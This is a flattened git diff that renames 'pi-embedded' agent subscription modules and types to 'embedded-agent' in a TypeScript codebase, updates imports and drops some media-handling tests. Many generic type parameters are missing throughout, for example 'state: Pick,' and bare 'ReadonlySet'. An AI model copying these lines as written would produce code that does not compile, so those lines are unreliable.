emitReasoningStream: vi.fn(), flushBlockReplyBuffer: vi.fn(), blockChunker: null, - } as unknown as EmbeddedPiSubscribeContext; + } as unknown as EmbeddedAgentSubscribeContext; } function firstMockCall(mock: { mock: { calls: unknown[][] } }, label: string): unknown[] { diff --git a/src/agents/pi-embedded-subscribe.handlers.messages.ts b/src/agents/embedded-agent-subscribe.handlers.messages.ts similarity index 95% rename from src/agents/pi-embedded-subscribe.handlers.messages.ts rename to src/agents/embedded-agent-subscribe.handlers.messages.ts index 3d5ee9d9dc1..a4444956296 100644 --- a/src/agents/pi-embedded-subscribe.handlers.messages.ts +++ b/src/agents/embedded-agent-subscribe.handlers.messages.ts @@ -1,5 +1,3 @@ -import type { AgentEvent, AgentMessage } from "@earendil-works/pi-agent-core"; -import type { AssistantMessage } from "@earendil-works/pi-ai"; import { resolveSendableOutboundReplyParts } from "openclaw/plugin-sdk/reply-payload"; import { parseReplyDirectives, @@ -8,6 +6,7 @@ import { import { splitTrailingDirective } from "../auto-reply/reply/streaming-directives.js"; import { isSilentReplyText, SILENT_REPLY_TOKEN } from "../auto-reply/tokens.js"; import { emitAgentEvent } from "../infra/agent-events.js"; +import type { AssistantMessage } from "../llm/types.js"; import { createInlineCodeState } from "../markdown/code-spans.js"; import { coerceChatContentText } from "../shared/chat-content.js"; import { @@ -20,15 +19,15 @@ import { uniqueStrings } from "../shared/string-normalization.js"; import { isMessagingToolDuplicateNormalized, normalizeTextForComparison, -} from "./pi-embedded-helpers.js"; -import type { BlockReplyPayload } from "./pi-embedded-payloads.js"; +} from "./embedded-agent-helpers.js"; +import type { BlockReplyPayload } from "./embedded-agent-payloads.js"; import type { - EmbeddedPiSubscribeContext, - EmbeddedPiSubscribeState, -} from "./pi-embedded-subscribe.handlers.types.js"; -import { isPromiseLike } from "./pi-embedded-subscribe.promise.js"; -import { appendRawStream } from "./pi-embedded-subscribe.raw-stream.js"; -import { warnIfAssistantEmittedToolText } from "./pi-embedded-subscribe.tool-text-diagnostics.js"; + EmbeddedAgentSubscribeContext, + EmbeddedAgentSubscribeState, +} from "./embedded-agent-subscribe.handlers.types.js"; +import { isPromiseLike } from "./embedded-agent-subscribe.promise.js"; +import { appendRawStream } from "./embedded-agent-subscribe.raw-stream.js"; +import { warnIfAssistantEmittedToolText } from "./embedded-agent-subscribe.tool-text-diagnostics.js"; import { extractAssistantText, extractAssistantThinking, @@ -36,7 +35,8 @@ import { extractThinkingFromTaggedStream, extractThinkingFromTaggedText, promoteThinkingTagsToBlocks, -} from "./pi-embedded-utils.js"; +} from "./embedded-agent-utils.js"; +import type { AgentEvent, AgentMessage } from "./runtime/index.js"; function shouldSuppressAssistantVisibleOutput(message: AgentMessage | undefined): boolean { return resolveAssistantMessagePhase(message) === "commentary"; @@ -132,7 +132,7 @@ function resolveAssistantStreamItemId(params: { return undefined; } -function emitReasoningEnd(ctx: EmbeddedPiSubscribeContext) { +function emitReasoningEnd(ctx: EmbeddedAgentSubscribeContext) { if (!ctx.state.reasoningStreamOpen) { return; } @@ -140,20 +140,20 @@ function emitReasoningEnd(ctx: EmbeddedPiSubscribeContext) { void ctx.params.onReasoningEnd?.(); } -function openReasoningStream(ctx: EmbeddedPiSubscribeContext) { +function openReasoningStream(ctx: EmbeddedAgentSubscribeContext) { ctx.state.reasoningStreamOpen = true; } function shouldSuppressDeterministicApprovalOutput( state: Pick< - EmbeddedPiSubscribeState, + EmbeddedAgentSubscribeState, "deterministicApprovalPromptPending" | "deterministicApprovalPromptSent" >, ): boolean { return state.deterministicApprovalPromptPending || state.deterministicApprovalPromptSent; } -function appendBlockReplyChunk(ctx: EmbeddedPiSubscribeContext, chunk: string) { +function appendBlockReplyChunk(ctx: EmbeddedAgentSubscribeContext, chunk: string) { if (ctx.blockChunker) { ctx.blockChunker.append(chunk); return; @@ -161,7 +161,7 @@ function appendBlockReplyChunk(ctx: EmbeddedPiSubscribeContext, chunk: string) { ctx.state.blockBuffer += chunk; } -function replaceBlockReplyBuffer(ctx: EmbeddedPiSubscribeContext, text: string) { +function replaceBlockReplyBuffer(ctx: EmbeddedAgentSubscribeContext, text: string) { if (ctx.blockChunker) { ctx.blockChunker.reset(); ctx.blockChunker.append(text); @@ -218,7 +218,7 @@ export function resolveSilentReplyFallbackText(params: { function clearPendingToolMedia( state: Pick< - EmbeddedPiSubscribeState, + EmbeddedAgentSubscribeState, "pendingToolMediaUrls" | "pendingToolAudioAsVoice" | "pendingToolTrustedLocalMedia" >, ) { @@ -233,7 +233,7 @@ function hasReplyMedia(payload: BlockReplyPayload): boolean { export function consumePendingToolMediaIntoReply( state: Pick< - EmbeddedPiSubscribeState, + EmbeddedAgentSubscribeState, "pendingToolMediaUrls" | "pendingToolAudioAsVoice" | "pendingToolTrustedLocalMedia" >, payload: BlockReplyPayload, @@ -269,7 +269,7 @@ export function consumePendingToolMediaIntoReply( export function consumePendingToolMediaReply( state: Pick< - EmbeddedPiSubscribeState, + EmbeddedAgentSubscribeState, "pendingToolMediaUrls" | "pendingToolAudioAsVoice" | "pendingToolTrustedLocalMedia" >, ): BlockReplyPayload | null { @@ -283,7 +283,7 @@ export function consumePendingToolMediaReply( export function readPendingToolMediaReply( state: Pick< - EmbeddedPiSubscribeState, + EmbeddedAgentSubscribeState, "pendingToolMediaUrls" | "pendingToolAudioAsVoice" | "pendingToolTrustedLocalMedia" >, ): BlockReplyPayload | null { @@ -344,7 +344,7 @@ function mergeReplyDirectiveResults( } export function recordPendingAssistantReplyDirectives( - state: Pick, + state: Pick, parsed: ReplyDirectiveParseResult | null | undefined, ) { if (!hasReplyDirectiveMetadataResult(parsed)) { @@ -364,7 +364,7 @@ export function recordPendingAssistantReplyDirectives( } export function consumePendingAssistantReplyDirectivesIntoReply( - state: Pick, + state: Pick, payload: BlockReplyPayload, ): BlockReplyPayload { if (payload.isReasoning || !state.pendingAssistantReplyDirectives) { @@ -419,7 +419,7 @@ export function buildAssistantStreamData(params: { } export function handleMessageStart( - ctx: EmbeddedPiSubscribeContext, + ctx: EmbeddedAgentSubscribeContext, evt: AgentEvent & { message: AgentMessage }, ) { const msg = evt.message; @@ -438,7 +438,7 @@ export function handleMessageStart( } export function handleMessageUpdate( - ctx: EmbeddedPiSubscribeContext, + ctx: EmbeddedAgentSubscribeContext, evt: AgentEvent & { message: AgentMessage; assistantMessageEvent?: unknown }, ) { const msg = evt.message; @@ -693,7 +693,7 @@ export function handleMessageUpdate( } export function handleMessageEnd( - ctx: EmbeddedPiSubscribeContext, + ctx: EmbeddedAgentSubscribeContext, evt: AgentEvent & { message: AgentMessage }, ): void | Promise { const msg = evt.message; diff --git a/src/agents/pi-embedded-subscribe.handlers.tools.media.test.ts b/src/agents/embedded-agent-subscribe.handlers.tools.media.test.ts similarity index 86% rename from src/agents/pi-embedded-subscribe.handlers.tools.media.test.ts rename to src/agents/embedded-agent-subscribe.handlers.tools.media.test.ts index e78ec14b2e4..3b3cc7c182c 100644 --- a/src/agents/pi-embedded-subscribe.handlers.tools.media.test.ts +++ b/src/agents/embedded-agent-subscribe.handlers.tools.media.test.ts @@ -2,8 +2,8 @@ import { describe, expect, it, vi } from "vitest"; import { handleToolExecutionEnd, handleToolExecutionStart, -} from "./pi-embedded-subscribe.handlers.tools.js"; -import type { EmbeddedPiSubscribeContext } from "./pi-embedded-subscribe.handlers.types.js"; +} from "./embedded-agent-subscribe.handlers.tools.js"; +import type { EmbeddedAgentSubscribeContext } from "./embedded-agent-subscribe.handlers.types.js"; // Minimal mock context factory. Only the fields needed for the media emission path. function createMockContext(overrides?: { @@ -12,7 +12,7 @@ function createMockContext(overrides?: { toolResultFormat?: "markdown" | "plain"; builtinToolNames?: ReadonlySet; trustedLocalMediaToolNames?: ReadonlySet; -}): EmbeddedPiSubscribeContext { +}): EmbeddedAgentSubscribeContext { const onToolResult = overrides?.onToolResult ?? vi.fn(); return { params: { @@ -40,13 +40,10 @@ function createMockContext(overrides?: { messagingToolSentTargets: [], deterministicApprovalPromptPending: false, deterministicApprovalPromptSent: false, - hadDeterministicSideEffect: false, - replayState: { replayInvalid: false, hadPotentialSideEffects: false }, }, log: { debug: vi.fn(), info: vi.fn(), warn: vi.fn() }, builtinToolNames: overrides?.builtinToolNames, - trustedLocalMediaToolNames: - overrides?.trustedLocalMediaToolNames ?? overrides?.builtinToolNames, + trustedLocalMediaToolNames: overrides?.trustedLocalMediaToolNames ?? overrides?.builtinToolNames, shouldEmitToolResult: vi.fn(() => false), shouldEmitToolOutput: vi.fn(() => overrides?.shouldEmitToolOutput ?? false), emitToolSummary: vi.fn(), @@ -74,10 +71,10 @@ function createMockContext(overrides?: { incrementCompactionCount: vi.fn(), getUsageTotals: vi.fn(() => undefined), getCompactionCount: vi.fn(() => 0), - } as unknown as EmbeddedPiSubscribeContext; + } as unknown as EmbeddedAgentSubscribeContext; } -function firstEmitToolOutputCall(ctx: EmbeddedPiSubscribeContext) { +function firstEmitToolOutputCall(ctx: EmbeddedAgentSubscribeContext) { expect(ctx.emitToolOutput).toHaveBeenCalledTimes(1); const call = vi.mocked(ctx.emitToolOutput).mock.calls[0]; if (!call) { @@ -87,7 +84,7 @@ function firstEmitToolOutputCall(ctx: EmbeddedPiSubscribeContext) { } async function emitPngMediaToolResult( - ctx: EmbeddedPiSubscribeContext, + ctx: EmbeddedAgentSubscribeContext, opts?: { isError?: boolean }, ) { await handleToolExecutionEnd(ctx, { @@ -106,7 +103,7 @@ async function emitPngMediaToolResult( } async function emitUntrustedToolMediaResult( - ctx: EmbeddedPiSubscribeContext, + ctx: EmbeddedAgentSubscribeContext, mediaPathOrUrl: string, ) { await handleToolExecutionEnd(ctx, { @@ -120,7 +117,7 @@ async function emitUntrustedToolMediaResult( }); } -async function emitMcpMediaToolResult(ctx: EmbeddedPiSubscribeContext, mediaPathOrUrl: string) { +async function emitMcpMediaToolResult(ctx: EmbeddedAgentSubscribeContext, mediaPathOrUrl: string) { await handleToolExecutionEnd(ctx, { type: "tool_execution_end", toolName: "browser", @@ -498,7 +495,6 @@ describe("handleToolExecutionEnd media emission", () => { expect(ctx.emitToolOutput).toHaveBeenCalledTimes(1); expect(ctx.state.pendingToolMediaUrls).toStrictEqual([]); }); - it("queues structured media once for markdown verbose output", async () => { const ctx = await handleVerboseGeneratedImage("markdown"); @@ -536,48 +532,6 @@ describe("handleToolExecutionEnd media emission", () => { }, ); - it("marks async-started media generation in tool metadata", async () => { - const ctx = createMockContext({ shouldEmitToolOutput: false, onToolResult: vi.fn() }); - - await handleToolExecutionStart(ctx, { - type: "tool_execution_start", - toolName: "image_generate", - toolCallId: "tc-1", - args: { action: "generate", prompt: "a portrait" }, - }); - await handleToolExecutionEnd(ctx, { - type: "tool_execution_end", - toolName: "image_generate", - toolCallId: "tc-1", - isError: false, - result: { - content: [ - { - type: "text", - text: "Background task started for image generation (task-123).", - }, - ], - details: { - async: true, - status: "started", - taskId: "task-123", - }, - }, - }); - - expect(ctx.state.toolMetas).toEqual([ - expect.objectContaining({ - toolName: "image_generate", - asyncStarted: true, - }), - ]); - expect(ctx.state.hadDeterministicSideEffect).toBe(true); - expect(ctx.state.replayState).toEqual({ - replayInvalid: true, - hadPotentialSideEffects: true, - }); - }); - it("does NOT emit media for error results", async () => { const onToolResult = vi.fn(); const ctx = createMockContext({ shouldEmitToolOutput: false, onToolResult }); @@ -698,61 +652,6 @@ describe("handleToolExecutionEnd media emission", () => { expect(ctx.state.pendingToolTrustedLocalMedia).toBe(true); }); - it("does NOT queue structured media marked as non-outbound", async () => { - const ctx = createMockContext({ - shouldEmitToolOutput: false, - onToolResult: vi.fn(), - builtinToolNames: new Set(["message"]), - }); - - await handleToolExecutionEnd(ctx, { - type: "tool_execution_end", - toolName: "message", - toolCallId: "tc-1", - isError: false, - result: { - content: [{ type: "text", text: "Downloaded Slack file to /tmp/report.pdf" }], - details: { - media: { - mediaUrl: "/tmp/report.pdf", - outbound: false, - }, - }, - }, - }); - - expect(ctx.state.pendingToolMediaUrls).toStrictEqual([]); - }); - - it("does NOT queue image fallback paths when media is marked as non-outbound", async () => { - const ctx = createMockContext({ - shouldEmitToolOutput: false, - onToolResult: vi.fn(), - builtinToolNames: new Set(["message"]), - }); - - await handleToolExecutionEnd(ctx, { - type: "tool_execution_end", - toolName: "message", - toolCallId: "tc-1", - isError: false, - result: { - content: [ - { type: "text", text: "Downloaded Slack image" }, - { type: "image", data: "base64", mimeType: "image/png" }, - ], - details: { - path: "/tmp/slack-image.png", - media: { - outbound: false, - }, - }, - }, - }); - - expect(ctx.state.pendingToolMediaUrls).toStrictEqual([]); - }); - it("queues trusted TTS local media when the exact built-in name is absent", async () => { const ctx = createMockContext({ shouldEmitToolOutput: false, diff --git a/src/agents/pi-embedded-subscribe.handlers.tools.test.ts b/src/agents/embedded-agent-subscribe.handlers.tools.test.ts similarity index 99% rename from src/agents/pi-embedded-subscribe.handlers.tools.test.ts rename to src/agents/embedded-agent-subscribe.handlers.tools.test.ts index 1c80060a0c7..0540331c2f0 100644 --- a/src/agents/pi-embedded-subscribe.handlers.tools.test.ts +++ b/src/agents/embedded-agent-subscribe.handlers.tools.test.ts @@ -1,19 +1,19 @@ -import type { AgentEvent } from "@earendil-works/pi-agent-core"; +import type { AgentEvent } from "openclaw/plugin-sdk/agent-core"; import { afterEach, describe, expect, it, vi } from "vitest"; import { onAgentEvent as registerAgentEventListener, resetAgentEventsForTest, } from "../infra/agent-events.js"; -import type { MessagingToolSend } from "./pi-embedded-messaging.types.js"; +import type { MessagingToolSend } from "./embedded-agent-messaging.types.js"; import { handleToolExecutionEnd, handleToolExecutionStart, handleToolExecutionUpdate, -} from "./pi-embedded-subscribe.handlers.tools.js"; +} from "./embedded-agent-subscribe.handlers.tools.js"; import type { ToolCallSummary, ToolHandlerContext, -} from "./pi-embedded-subscribe.handlers.types.js"; +} from "./embedded-agent-subscribe.handlers.types.js"; type ToolExecutionStartEvent = Extract; type ToolExecutionEndEvent = Extract; @@ -228,7 +228,7 @@ describe("handleToolExecutionStart read path checks", () => { phase: "tool_execution_started", tool: "read", toolCallId: "tool-1", - source: "pi-embedded", + source: "embedded-agent", }); expect(warn).not.toHaveBeenCalled(); expect(trace).toHaveBeenCalledTimes(1); diff --git a/src/agents/pi-embedded-subscribe.handlers.tools.ts b/src/agents/embedded-agent-subscribe.handlers.tools.ts similarity index 98% rename from src/agents/pi-embedded-subscribe.handlers.tools.ts rename to src/agents/embedded-agent-subscribe.handlers.tools.ts index 4f2c654bcef..dce939c47e0 100644 --- a/src/agents/pi-embedded-subscribe.handlers.tools.ts +++ b/src/agents/embedded-agent-subscribe.handlers.tools.ts @@ -1,4 +1,3 @@ -import type { AgentEvent } from "@earendil-works/pi-agent-core"; import { HEARTBEAT_RESPONSE_TOOL_NAME, normalizeHeartbeatToolResponse, @@ -30,16 +29,15 @@ import { normalizeAcceptedSessionSpawnResult } from "./accepted-session-spawn.js import type { ApplyPatchSummary } from "./apply-patch.js"; import type { ExecToolDetails } from "./bash-tools.exec-types.js"; import { sanitizeForConsole } from "./console-sanitize.js"; -import { parseExecApprovalResultText } from "./exec-approval-result.js"; -import { normalizeTextForComparison } from "./pi-embedded-helpers.js"; -import { isMessagingTool, isMessagingToolSendAction } from "./pi-embedded-messaging.js"; -import type { MessagingToolSourceReplyPayload } from "./pi-embedded-messaging.types.js"; -import { mergeEmbeddedRunReplayState } from "./pi-embedded-runner/replay-state.js"; +import { normalizeTextForComparison } from "./embedded-agent-helpers.js"; +import { isMessagingTool, isMessagingToolSendAction } from "./embedded-agent-messaging.js"; +import type { MessagingToolSourceReplyPayload } from "./embedded-agent-messaging.types.js"; +import { mergeEmbeddedRunReplayState } from "./embedded-agent-runner/replay-state.js"; import type { ToolCallSummary, ToolHandlerContext, -} from "./pi-embedded-subscribe.handlers.types.js"; -import { isPromiseLike } from "./pi-embedded-subscribe.promise.js"; +} from "./embedded-agent-subscribe.handlers.types.js"; +import { isPromiseLike } from "./embedded-agent-subscribe.promise.js"; import { extractToolResultMediaArtifact, extractToolErrorCode, @@ -51,16 +49,18 @@ import { isToolResultTimedOut, sanitizeToolArgs, sanitizeToolResult, -} from "./pi-embedded-subscribe.tools.js"; -import { inferToolMetaFromArgs } from "./pi-embedded-utils.js"; -import { REQUIRED_PARAM_GROUPS, type RequiredParamGroup } from "./pi-tools.params.js"; +} from "./embedded-agent-subscribe.tools.js"; +import { inferToolMetaFromArgs } from "./embedded-agent-utils.js"; +import { parseExecApprovalResultText } from "./exec-approval-result.js"; +import type { AgentEvent } from "./runtime/index.js"; +import { REQUIRED_PARAM_GROUPS, type RequiredParamGroup } from "./agent-tools.params.js"; import { buildToolMutationState, isSameToolMutationAction } from "./tool-mutation.js"; import { normalizeToolName } from "./tool-policy.js"; type ExecApprovalReplyModule = typeof import("../infra/exec-approval-reply.js"); type HookRunnerGlobalModule = typeof import("../plugins/hook-runner-global.js"); type MediaParseModule = typeof import("../media/parse.js"); -type BeforeToolCallModule = typeof import("./pi-tools.before-tool-call.js"); +type BeforeToolCallModule = typeof import("./agent-tools.before-tool-call.js"); const execApprovalReplyModuleLoader = createLazyImportLoader( () => import("../infra/exec-approval-reply.js"), @@ -72,7 +72,7 @@ const mediaParseModuleLoader = createLazyImportLoader( () => import("../media/parse.js"), ); const beforeToolCallModuleLoader = createLazyImportLoader( - () => import("./pi-tools.before-tool-call.js"), + () => import("./agent-tools.before-tool-call.js"), ); const LIVE_EXEC_OUTPUT_MAX_CHARS = 8000; const LIVE_EXEC_UPDATE_MIN_INTERVAL_MS = 250; @@ -870,7 +870,7 @@ export function handleToolExecutionStart( phase: "tool_execution_started", tool: toolName, toolCallId, - source: "pi-embedded", + source: "embedded-agent", }); // Track start time and args for after_tool_call hook. @@ -1267,7 +1267,9 @@ export async function handleToolExecutionEnd( ctx.state.successfulCronAdds += 1; } if (!isToolError && toolName === HEARTBEAT_RESPONSE_TOOL_NAME) { - const response = normalizeHeartbeatToolResponse(result?.details); + const details = + result && typeof result === "object" ? (result as { details?: unknown }).details : undefined; + const response = normalizeHeartbeatToolResponse(details); if (response) { const isFirstHeartbeatResponse = ctx.state.heartbeatToolResponse === undefined; ctx.state.heartbeatToolResponse = response; diff --git a/src/agents/pi-embedded-subscribe.handlers.ts b/src/agents/embedded-agent-subscribe.handlers.ts similarity index 85% rename from src/agents/pi-embedded-subscribe.handlers.ts rename to src/agents/embedded-agent-subscribe.handlers.ts index 9c23e5c693e..9697bcb329e 100644 --- a/src/agents/pi-embedded-subscribe.handlers.ts +++ b/src/agents/embedded-agent-subscribe.handlers.ts @@ -3,28 +3,28 @@ import { handleAgentStart, handleCompactionEnd, handleCompactionStart, -} from "./pi-embedded-subscribe.handlers.lifecycle.js"; +} from "./embedded-agent-subscribe.handlers.lifecycle.js"; import { handleMessageEnd, handleMessageStart, handleMessageUpdate, -} from "./pi-embedded-subscribe.handlers.messages.js"; +} from "./embedded-agent-subscribe.handlers.messages.js"; import { handleToolExecutionEnd, handleToolExecutionStart, handleToolExecutionUpdate, -} from "./pi-embedded-subscribe.handlers.tools.js"; +} from "./embedded-agent-subscribe.handlers.tools.js"; import type { - EmbeddedPiSubscribeContext, - EmbeddedPiSubscribeEvent, -} from "./pi-embedded-subscribe.handlers.types.js"; -import { isPromiseLike } from "./pi-embedded-subscribe.promise.js"; + EmbeddedAgentSubscribeContext, + EmbeddedAgentSubscribeEvent, +} from "./embedded-agent-subscribe.handlers.types.js"; +import { isPromiseLike } from "./embedded-agent-subscribe.promise.js"; -export function createEmbeddedPiSessionEventHandler(ctx: EmbeddedPiSubscribeContext) { +export function createEmbeddedAgentSessionEventHandler(ctx: EmbeddedAgentSubscribeContext) { let pendingEventChain: Promise | null = null; const scheduleEvent = ( - evt: EmbeddedPiSubscribeEvent, + evt: EmbeddedAgentSubscribeEvent, handler: () => void | Promise, options?: { detach?: boolean }, ): void => { @@ -72,7 +72,7 @@ export function createEmbeddedPiSessionEventHandler(ctx: EmbeddedPiSubscribeCont } }; - return (evt: EmbeddedPiSubscribeEvent) => { + return (evt: EmbeddedAgentSubscribeEvent) => { switch (evt.type) { case "message_start": scheduleEvent(evt, () => { diff --git a/src/agents/pi-embedded-subscribe.handlers.types.ts b/src/agents/embedded-agent-subscribe.handlers.types.ts similarity index 90% rename from src/agents/pi-embedded-subscribe.handlers.types.ts rename to src/agents/embedded-agent-subscribe.handlers.types.ts index d921162bc66..ac66208ea72 100644 --- a/src/agents/pi-embedded-subscribe.handlers.types.ts +++ b/src/agents/embedded-agent-subscribe.handlers.types.ts @@ -1,24 +1,24 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { AgentSessionEvent } from "@earendil-works/pi-coding-agent"; import type { HeartbeatToolResponse } from "../auto-reply/heartbeat-tool-response.js"; import type { ReplyDirectiveParseResult } from "../auto-reply/reply/reply-directives.js"; import type { ReasoningLevel } from "../auto-reply/thinking.js"; import type { InlineCodeState } from "../markdown/code-spans.js"; import type { HookRunner } from "../plugins/hooks.js"; import type { AcceptedSessionSpawn } from "./accepted-session-spawn.js"; -import type { EmbeddedBlockChunker } from "./pi-embedded-block-chunker.js"; +import type { EmbeddedBlockChunker } from "./embedded-agent-block-chunker.js"; import type { MessagingToolSend, MessagingToolSourceReplyPayload, -} from "./pi-embedded-messaging.types.js"; -import type { BlockReplyPayload } from "./pi-embedded-payloads.js"; -import type { EmbeddedRunReplayState } from "./pi-embedded-runner/replay-state.js"; -import type { EmbeddedRunLivenessState } from "./pi-embedded-runner/types.js"; +} from "./embedded-agent-messaging.types.js"; +import type { BlockReplyPayload } from "./embedded-agent-payloads.js"; +import type { EmbeddedRunReplayState } from "./embedded-agent-runner/replay-state.js"; +import type { EmbeddedRunLivenessState } from "./embedded-agent-runner/types.js"; import type { BlockReplyChunking, - SubscribeEmbeddedPiSessionParams, -} from "./pi-embedded-subscribe.types.js"; + SubscribeEmbeddedAgentSessionParams, +} from "./embedded-agent-subscribe.types.js"; import type { AgentRunTimeoutPhase } from "./run-timeout-attribution.js"; +import type { AgentMessage } from "./runtime/index.js"; +import type { AgentSessionEvent } from "./sessions/index.js"; import type { ToolErrorSummary } from "./tool-error-summary.js"; import type { NormalizedUsage } from "./usage.js"; @@ -40,7 +40,7 @@ export type ToolCallSummary = { fileTarget?: import("./tool-mutation.js").FileTarget; }; -export type EmbeddedPiSubscribeState = { +export type EmbeddedAgentSubscribeState = { assistantTexts: string[]; toolMetas: Array<{ toolName?: string; meta?: string; asyncStarted?: boolean }>; acceptedSessionSpawns: AcceptedSessionSpawn[]; @@ -129,9 +129,9 @@ export type EmbeddedPiSubscribeState = { lastAssistant?: AgentMessage; }; -export type EmbeddedPiSubscribeContext = { - params: SubscribeEmbeddedPiSessionParams; - state: EmbeddedPiSubscribeState; +export type EmbeddedAgentSubscribeContext = { + params: SubscribeEmbeddedAgentSessionParams; + state: EmbeddedAgentSubscribeState; log: EmbeddedSubscribeLogger; blockChunking?: BlockReplyChunking; blockChunker: EmbeddedBlockChunker | null; @@ -196,10 +196,10 @@ export type EmbeddedPiSubscribeContext = { /** * Minimal context type for tool execution handlers. Allows * tests provide only the fields they exercise - * without needing the full `EmbeddedPiSubscribeContext`. + * without needing the full `EmbeddedAgentSubscribeContext`. */ type ToolHandlerParams = Pick< - SubscribeEmbeddedPiSessionParams, + SubscribeEmbeddedAgentSessionParams, | "runId" | "onBlockReplyFlush" | "onAgentEvent" @@ -214,7 +214,7 @@ type ToolHandlerParams = Pick< >; type ToolHandlerState = Pick< - EmbeddedPiSubscribeState, + EmbeddedAgentSubscribeState, | "toolMetaById" | "toolMetas" | "acceptedSessionSpawns" @@ -259,7 +259,7 @@ export type ToolHandlerContext = { trimMessagingToolSent: () => void; }; -export type EmbeddedPiSubscribeEvent = +export type EmbeddedAgentSubscribeEvent = | AgentSessionEvent | { type: string; [k: string]: unknown } | { type: "message_start"; message: AgentMessage }; diff --git a/src/agents/pi-embedded-subscribe.lifecycle-billing-error.test.ts b/src/agents/embedded-agent-subscribe.lifecycle-billing-error.test.ts similarity index 90% rename from src/agents/pi-embedded-subscribe.lifecycle-billing-error.test.ts rename to src/agents/embedded-agent-subscribe.lifecycle-billing-error.test.ts index ce263f04da4..9f96f7761c6 100644 --- a/src/agents/pi-embedded-subscribe.lifecycle-billing-error.test.ts +++ b/src/agents/embedded-agent-subscribe.lifecycle-billing-error.test.ts @@ -3,9 +3,9 @@ import { createSubscribedSessionHarness, emitAssistantLifecycleErrorAndEnd, findLifecycleErrorAgentEvent, -} from "./pi-embedded-subscribe.e2e-harness.js"; +} from "./embedded-agent-subscribe.e2e-harness.js"; -describe("subscribeEmbeddedPiSession lifecycle billing errors", () => { +describe("subscribeEmbeddedAgentSession lifecycle billing errors", () => { function createAgentEventHarness(options?: { runId?: string; sessionKey?: string }) { const onAgentEvent = vi.fn(); const { emit } = createSubscribedSessionHarness({ diff --git a/src/agents/pi-embedded-subscribe.openai-responses.test-helpers.ts b/src/agents/embedded-agent-subscribe.openai-responses.test-helpers.ts similarity index 100% rename from src/agents/pi-embedded-subscribe.openai-responses.test-helpers.ts rename to src/agents/embedded-agent-subscribe.openai-responses.test-helpers.ts diff --git a/src/agents/pi-embedded-subscribe.promise.ts b/src/agents/embedded-agent-subscribe.promise.ts similarity index 100% rename from src/agents/pi-embedded-subscribe.promise.ts rename to src/agents/embedded-agent-subscribe.promise.ts diff --git a/src/agents/pi-embedded-subscribe.raw-stream.ts b/src/agents/embedded-agent-subscribe.raw-stream.ts similarity index 100% rename from src/agents/pi-embedded-subscribe.raw-stream.ts rename to src/agents/embedded-agent-subscribe.raw-stream.ts diff --git a/src/agents/pi-embedded-subscribe.reply-tags.test.ts b/src/agents/embedded-agent-subscribe.reply-tags.test.ts similarity index 90% rename from src/agents/pi-embedded-subscribe.reply-tags.test.ts rename to src/agents/embedded-agent-subscribe.reply-tags.test.ts index cc2427c13de..ac0662288dc 100644 --- a/src/agents/pi-embedded-subscribe.reply-tags.test.ts +++ b/src/agents/embedded-agent-subscribe.reply-tags.test.ts @@ -1,13 +1,13 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { describe, expect, it, vi } from "vitest"; import { createStubSessionHarness, emitAssistantTextDelta, emitAssistantTextEnd, -} from "./pi-embedded-subscribe.e2e-harness.js"; -import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; +} from "./embedded-agent-subscribe.e2e-harness.js"; +import { subscribeEmbeddedAgentSession } from "./embedded-agent-subscribe.js"; -describe("subscribeEmbeddedPiSession reply tags", () => { +describe("subscribeEmbeddedAgentSession reply tags", () => { type ReplyPayload = { text?: string; replyToCurrent?: boolean; replyToTag?: boolean }; function replyPayloadAt(mock: ReturnType, index: number): ReplyPayload { @@ -30,7 +30,7 @@ describe("subscribeEmbeddedPiSession reply tags", () => { const { session, emit } = createStubSessionHarness(); const onBlockReply = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", onBlockReply, @@ -87,7 +87,7 @@ describe("subscribeEmbeddedPiSession reply tags", () => { const onPartialReply = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", onPartialReply, diff --git a/src/agents/pi-embedded-subscribe.shared-types.ts b/src/agents/embedded-agent-subscribe.shared-types.ts similarity index 65% rename from src/agents/pi-embedded-subscribe.shared-types.ts rename to src/agents/embedded-agent-subscribe.shared-types.ts index c690ba5e523..8f1c0fe699d 100644 --- a/src/agents/pi-embedded-subscribe.shared-types.ts +++ b/src/agents/embedded-agent-subscribe.shared-types.ts @@ -1,4 +1,4 @@ -import type { BlockReplyChunking } from "./pi-embedded-block-chunker.js"; +import type { BlockReplyChunking } from "./embedded-agent-block-chunker.js"; export type ToolResultFormat = "markdown" | "plain"; export type ToolProgressDetailMode = "explain" | "raw"; diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.calls-onblockreplyflush-before-tool-execution-start-preserve.test.ts b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.calls-onblockreplyflush-before-tool-execution-start-preserve.test.ts similarity index 91% rename from src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.calls-onblockreplyflush-before-tool-execution-start-preserve.test.ts rename to src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.calls-onblockreplyflush-before-tool-execution-start-preserve.test.ts index 1f4e505d254..5ccb180e7b0 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.calls-onblockreplyflush-before-tool-execution-start-preserve.test.ts +++ b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.calls-onblockreplyflush-before-tool-execution-start-preserve.test.ts @@ -2,8 +2,8 @@ import { describe, expect, it, vi } from "vitest"; import { createStubSessionHarness, emitAssistantTextDelta, -} from "./pi-embedded-subscribe.e2e-harness.js"; -import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; +} from "./embedded-agent-subscribe.e2e-harness.js"; +import { subscribeEmbeddedAgentSession } from "./embedded-agent-subscribe.js"; function firstBlockReplyText(onBlockReply: ReturnType): string | undefined { const firstCall = onBlockReply.mock.calls[0]; @@ -13,15 +13,15 @@ function firstBlockReplyText(onBlockReply: ReturnType): string | u return firstCall[0]?.text; } -describe("subscribeEmbeddedPiSession", () => { +describe("subscribeEmbeddedAgentSession", () => { it("calls onBlockReplyFlush before tool_execution_start to preserve message boundaries", () => { const { session, emit } = createStubSessionHarness(); const onBlockReplyFlush = vi.fn(); const onBlockReply = vi.fn(); - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + subscribeEmbeddedAgentSession({ + session: session as unknown as 